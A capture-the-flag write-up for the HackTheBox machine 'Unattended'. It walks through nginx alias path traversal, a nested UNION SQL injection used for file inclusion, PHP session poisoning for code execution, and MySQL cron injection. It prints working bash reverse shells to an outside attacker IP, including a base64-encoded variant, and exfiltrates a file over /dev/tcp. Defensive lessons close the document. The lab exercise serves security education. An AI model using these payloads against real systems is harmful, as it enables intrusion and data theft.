HTB: Unattended Writeup
Unattended - HackTheBox Writeup
Machine Information
| Attribute | Details |
|---|---|
| Name | Unattended |
| OS | Linux |
| Difficulty | Medium |
| Points | N/A |
| Release Date | N/A |
| IP Address | 10.129.43.159 |
| Author | guly |
Machine Rating
⭐⭐⭐☆☆ (3/5)
Difficulty Assessment:
- Enumeration: ⭐⭐⭐☆☆
- Real-world: ⭐⭐⭐⭐⭐
- CVE: ⭐⭐☆☆☆
- CTF-like: ⭐⭐⭐⭐☆
Summary
Unattended is a medium difficulty Linux machine that demonstrates the devastating impact of subtle web server misconfigurations combined with poor input validation. The attack path begins with an nginx alias path traversal vulnerability that exposes PHP source code, revealing database credentials. A carefully crafted nested SQL injection allows Local File Inclusion (LFI), which is then leveraged into Remote Code Execution via PHP session file poisoning. Lateral movement to the user guly is achieved by exploiting a MySQL-based cronjob configuration. Finally, root access is obtained by extracting and analyzing the kernel initrd image accessible via the grub group, revealing a custom password derivation binary that generates the root password based on the system’s hostname.
TL;DR: nginx alias path traversal → PHP source disclosure → nested UNION SQLi → LFI → PHP session poisoning → RCE (www-data) → MySQL cron injection → lateral movement (guly) → grub group kernel image extraction → custom binary analysis → root password derivation → root shell.
Reconnaissance
Port Scanning
# Initial port scannmap -sC -sV -T4 -p- 10.129.43.159Results:
The scan revealed two open ports:
- 80/tcp - nginx HTTP server
- 443/tcp - nginx HTTPS server
Service Enumeration
SSL Certificate Analysis
The SSL certificate on port 443 revealed a virtual host name: www.nestedflanders.htb. This vhost was added to the local hosts file for further enumeration.
# Add vhost to hosts fileecho "10.129.43.159 www.nestedflanders.htb" >> /etc/hostsWeb Service Investigation
Browsing directly to the IP address on both HTTP and HTTPS showed minimal content (a single dot). However, accessing https://www.nestedflanders.htb/ revealed an Apache default page, indicating the presence of a virtual host configuration.
Directory Enumeration
# Directory bruteforcinggobuster dir -w /usr/share/wordlists/dirb/common.txt \ -u https://www.nestedflanders.htb/ -kThe scan discovered:
- /index.php - A functional web application
- /dev - A directory with a message stating “dev site has been moved”
Vulnerability Assessment
- Nginx alias misconfiguration - The
/devendpoint appeared vulnerable to path traversal due to improper alias configuration - Potential SQL injection - The application used a GET parameter
idsuggesting database queries - Firewall restrictions - Outbound connections limited to ports 80 and 443 only
Initial Foothold
Nginx Alias Path Traversal
Nginx alias directives without trailing slashes are vulnerable to path traversal. Testing the /dev endpoint:
# Path traversal attemptcurl -k https://www.nestedflanders.htb/dev../html/index.phpThis vulnerability allowed reading the raw PHP source code instead of executing it, bypassing the interpreter entirely.
Why this works: When nginx processes location /dev { alias /var/www/html/dev } without a trailing slash, it concatenates the requested path directly. Requesting /dev../html/index.php becomes /var/www/html/dev../html/index.php, which resolves to /var/www/html/html/index.php or similar, and critically, the file is served as static content rather than being passed to the PHP-FPM handler.
Source Code Analysis
The downloaded index.php revealed:
// Database credentials$servername = "localhost";$username = "nestedflanders";$password = "1036913cf7d38d4ea4f79b050f171e9fbf3f5e";$db = "neddy";
// Two-stage query executionfunction getTplFromID($conn) { $valid_ids = array(25, 465, 587); if ((array_key_exists('id', $_GET)) && (intval($_GET['id']) == $_GET['id']) && (in_array(intval($_GET['id']), $valid_ids))) { $sql = "SELECT name FROM idname where id = '".$_GET['id']."'"; } else { $sql = "SELECT name FROM idname where id = '25'"; } // Execute and return template name}
function getPathFromTpl($conn, $tpl) { $sql = "SELECT path from filepath where name = '".$tpl."'"; // Execute and return file path}Critical vulnerability: No input sanitization exists on the $_GET['id'] parameter used in SQL queries, and the two-stage query design allows nested SQL injection.
Nested UNION SQL Injection
The application executes two queries in sequence:
- Query 1:
SELECT name FROM idname WHERE id = '$id' - Query 2:
SELECT path FROM filepath WHERE name = '$result_from_query1'
By injecting a UNION statement into the first query that returns a crafted string, we control the input to the second query:
-- Payload structure25' union select "main' union select '/etc/passwd' LIMIT 1,1;-- -" LIMIT 1,1;-- -How this works:
First query becomes:
SELECT name FROM idname WHERE id = '25'UNION SELECT "main' union select '/etc/passwd' LIMIT 1,1;-- -" LIMIT 1,1;-- -'This returns the string main' union select '/etc/passwd' LIMIT 1,1;-- -
Second query becomes:
SELECT path FROM filepath WHERE name = 'main'UNION SELECT '/etc/passwd' LIMIT 1,1;-- -'This returns /etc/passwd, which is then passed to PHP’s include(), achieving Local File Inclusion.
Testing the payload:
# URL-encoded nested UNION SQLi for LFIcurl -k "https://www.nestedflanders.htb/index.php?id=25%27%20union%20select%20%22main%27%20union%20select%20%27/etc/passwd%27%20LIMIT%201,1;--%20-%22%20LIMIT%201,1;--%20-"The response contained the contents of /etc/passwd, confirming arbitrary file read capability.
From LFI to RCE: PHP Session Poisoning
PHP session files are stored on disk and contain serialized user data. By controlling cookie values, we can inject PHP code into the session file, then use LFI to include and execute it.
Attack steps:
- Create a session with malicious PHP code:
# Set a custom cookie with PHP payloadcurl -k "https://www.nestedflanders.htb/index.php" \ -H "Cookie: PHPSESSID=exploit123; PWN=<?php system(\$_GET['cmd']); ?>"- Include the session file via nested SQLi:
Session files are stored at /var/lib/php/sessions/sess_<PHPSESSID>. The LFI payload becomes:
# Include session file and execute commandcurl -k "https://www.nestedflanders.htb/index.php?id=25%27%20union%20select%20%22main%27%20union%20select%20%27/var/lib/php/sessions/sess_exploit123%27%20LIMIT%201,1;--%20-%22%20LIMIT%201,1;--%20-&cmd=id"Note on firewall restrictions: The agent’s solve notes indicate that outbound connections were limited to ports 80 and 443 only, discovered via reading /etc/iptables/rules.v4 through the LFI.
- Reverse shell payload:
# Base64 encode to avoid special charactersecho -n 'bash -i >& /dev/tcp/10.10.15.180/443 0>&1' | base64# YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNS4xODAvNDQzIDA+JjE=
# Set cookie with reverse shellcurl -k "https://www.nestedflanders.htb/index.php" \ -H "Cookie: PHPSESSID=exploit123; PWN=<?php system('echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNS4xODAvNDQzIDA+JjE= | base64 -d | bash'); ?>"- Trigger execution:
# Start listener on allowed portnc -lvnp 443
# Trigger the reverse shellcurl -k "https://www.nestedflanders.htb/index.php?id=25%27%20union%20select%20%22main%27%20union%20select%20%27/var/lib/php/sessions/sess_exploit123%27%20LIMIT%201,1;--%20-%22%20LIMIT%201,1;--%20-"Shell received as www-data.
Privilege Escalation
Lateral Movement: www-data → guly
Database Enumeration
Using the credentials extracted from the PHP source:
# Connect to MySQLmysql -u nestedflanders -p1036913cf7d38d4ea4f79b050f171e9fbf3f5e -D neddy
# List tablesmysql> SHOW TABLES;# config, filepath, idname
# Examine config tablemysql> SELECT * FROM config;The config table contained various application settings, including a row with option_name = 'checkrelease' and a path value. This suggested a cronjob might be reading configuration from the database.
MySQL Cronjob Injection
By updating the checkrelease configuration value to a reverse shell command, we can achieve code execution as whichever user runs the cron:
-- Inject reverse shell into configUPDATE configSET option_value = 'bash -c "bash -i >& /dev/tcp/10.10.15.180/80 0>&1"'WHERE option_name = 'checkrelease';# Start listener on port 80 (allowed outbound)nc -lvnp 80After a short wait, a shell was received as user guly.
# Stabilize shellguly@unattended:~$ python3 -c 'import pty; pty.spawn("/bin/bash")'
# Capture user flagguly@unattended:~$ cat user.txt<redacted>Privilege Escalation: guly → root
Group Membership Analysis
# Check user groupsguly@unattended:~$ iduid=1000(guly) gid=1000(guly) groups=1000(guly),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev),114(bluetooth),115(lpadmin),116(scanner),1001(grub)The grub group is unusual and not standard on Debian systems. GRUB (Grand Unified Bootloader) manages boot configuration and kernel images.
Finding grub Group Files
# Find files owned by grub groupguly@unattended:~$ find / -group grub -ls 2>/dev/nullThe kernel initrd (initial ramdisk) image is readable by the grub group. This file contains the early userspace environment loaded before the main filesystem.
Extracting the initrd Image
# Transfer the initrd to attacker machine# On target (guly's shell)guly@unattended:~$ cat /boot/initrd.img-4.9.0-8-amd64 > /dev/tcp/10.10.15.180/8000
# On attacker machinenc -lvnp 8000 > initrd.img-4.9.0-8-amd64
# Extract the compressed cpio archivemkdir initrd_extractedcd initrd_extractedzcat ../initrd.img-4.9.0-8-amd64 | cpio -idmvWhy this matters: The initrd contains boot-time scripts, including those that handle encrypted filesystem unlocking (LUKS). If the root password is used for disk encryption, traces might exist in these scripts.
Analyzing Boot Scripts
# Search for password referencesgrep -R -i "password" . 2>/dev/null | grep -v Binary
# Result shows:# ./scripts/local-top/cryptroot:300: # guly: we have to deal with luks password sync when root changes her oneExamining line 300 of scripts/local-top/cryptroot:
# Extract relevant sectionsed -n '295,310p' scripts/local-top/cryptrootThe script revealed:
# Line ~302 (based on reference document structure)/sbin/uinitrd c0m3s3f0ss34nt4n1 | $cryptopenAnalysis: The uinitrd binary generates a password using the argument c0m3s3f0ss34nt4n1, which is then passed to cryptsetup to unlock the encrypted root filesystem. The comment explicitly states this is the root password.
Understanding the uinitrd Binary
The binary must be executed on the target system because it reads system-specific information:
# Transfer uinitrd binary from extracted initrd to target# On attacker (from initrd_extracted directory)nc -lvnp 9000 < sbin/uinitrd
# On target (guly's shell, but /dev/shm is noexec, copy elsewhere)cd /tmpcat < /dev/tcp/10.10.15.180/9000 > uinitrdchmod +x uinitrd
# Execute the binary with the magic stringguly@unattended:/tmp$ ./uinitrd c0m3s3f0ss34nt4n1132f93ab100671dcb263acaf5dc95d8260e8b7c6Why this works: The binary reads /etc/hostname and uses it as a salt or seed to derive the password. Running it on-box ensures the correct hostname is used, generating the actual root password for this specific system.
Root Access
# Switch user to rootguly@unattended:/tmp$ su rootPassword: 132f93ab100671dcb263acaf5dc95d8260e8b7c6
root@unattended:/tmp# iduid=0(root) gid=0(root) groups=0(root)
# Capture root flagroot@unattended:~# cat /root/root.txt<redacted>Attack Chain Summary
nginx alias path traversal (read index.php source) → Database credentials (nestedflanders:1036913cf7d38d4ea4f79b050f171e9fbf3f5e) → Nested UNION SQL injection (id parameter) → LFI (arbitrary file read) → PHP session poisoning (inject code via PWN cookie) → RCE (include session file via LFI) → www-data shell (reverse shell on port 443) → MySQL config table modification (checkrelease cron injection) → guly shell (reverse shell on port 80) → user.txt → grub group membership analysis → initrd image extraction (/boot/initrd.img-4.9.0-8-amd64) → uinitrd binary discovery (cryptroot script) → Root password derivation (132f93ab100671dcb263acaf5dc95d8260e8b7c6) → root shell → root.txtTools Used
| Tool | Purpose |
|---|---|
nmap | Port scanning and service enumeration |
gobuster | Web directory and file discovery |
curl | HTTP request crafting and testing |
mysql | Database access and manipulation |
nc (netcat) | Reverse shell listener and file transfer |
cpio | Extracting initrd archive |
zcat | Decompressing gzip-compressed initrd |
grep | Searching for strings in extracted files |
base64 | Encoding reverse shell payloads |
Key Learnings
Techniques Practiced
- Nginx alias path traversal exploitation - Identifying and abusing misconfigured alias directives without trailing slashes
- PHP source code disclosure - Leveraging path traversal to read unexecuted PHP files
- Nested SQL injection - Chaining UNION statements across multiple query stages to control execution flow
- LFI to RCE escalation - Using PHP session file poisoning as an LFI-to-RCE vector
- Firewall evasion - Adapting reverse shell ports to match allowed outbound rules (80/443 only)
- Database-driven privilege escalation - Exploiting MySQL configuration tables read by cronjobs
- Linux group permission analysis - Identifying non-standard groups (grub) and their security implications
- Initrd forensics - Extracting and analyzing kernel initrd images for sensitive information
- Custom binary reverse engineering - Understanding password derivation logic through dynamic analysis
Lessons Learned
-
Nginx alias misconfigurations are critical vulnerabilities - Always append trailing slashes to alias directives to prevent path traversal:
location /dev/ { alias /var/www/html/dev/; }. The absence of these slashes allows attackers to escape the intended directory and read arbitrary files, including sensitive source code. -
Nested SQL injection can bypass seemingly safe input validation - Even when direct user input is validated (like checking if
idis in a whitelist), the result of the first query can be malicious if used in a second query without sanitization. Defense requires prepared statements at every query stage. -
PHP session files are powerful RCE vectors - When LFI exists, any user-controlled data written to disk becomes a potential execution path. Session files (
/var/lib/php/sessions/sess_*) are predictable and controllable via cookies. Mitigation: usesession.upload_progress.cleanup = Onand minimize user-controlled session data. -
Firewall rules should be comprehensive - Allowing outbound connections on ports 80/443 (even if seemingly necessary for updates) provides ample opportunity for attackers to establish command and control. Consider application-level proxies or explicit allowlists instead.
-
Database-driven configuration is dangerous without access control - Applications that read executable commands or paths from databases must restrict write access. The
www-datauser should never have UPDATE permissions on configuration tables read by privileged cronjobs. -
Non-standard group memberships warrant investigation - The
grubgroup provided read access to kernel images, which contained password derivation logic. Security-critical groups should be audited regularly, and boot files should be protected even from administrative users when possible. -
Sensitive logic should not reside in boot artifacts - The
uinitrdbinary embedded root password generation logic in a world-readable (to grub group) location. Use hardware security modules (HSMs) or Trusted Platform Modules (TPMs) for cryptographic key derivation instead of custom binaries in accessible filesystems.
Proof of Ownership
User Flag: <redacted>Root Flag: <redacted>References
This writeup’s explanatory depth and conceptual framework reference the official HackTheBox writeup for Unattended (Document No D19.100.34, prepared by MinatoTW, 30th May 2019), while all technical specifics, commands, outputs, and IP addresses reflect the live solve against target 10.129.43.159.